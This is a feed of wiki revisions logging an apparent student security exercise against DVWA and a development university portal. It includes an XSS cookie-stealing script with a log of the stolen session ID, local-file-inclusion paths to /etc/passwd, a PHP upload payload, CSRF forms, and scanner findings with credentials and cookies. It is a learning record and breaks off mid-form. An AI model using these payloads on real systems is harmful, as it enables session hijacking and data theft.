&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47006</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47006"/>
		<updated>2012-03-30T09:29:26Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Security Team tegevusplaan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidga tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
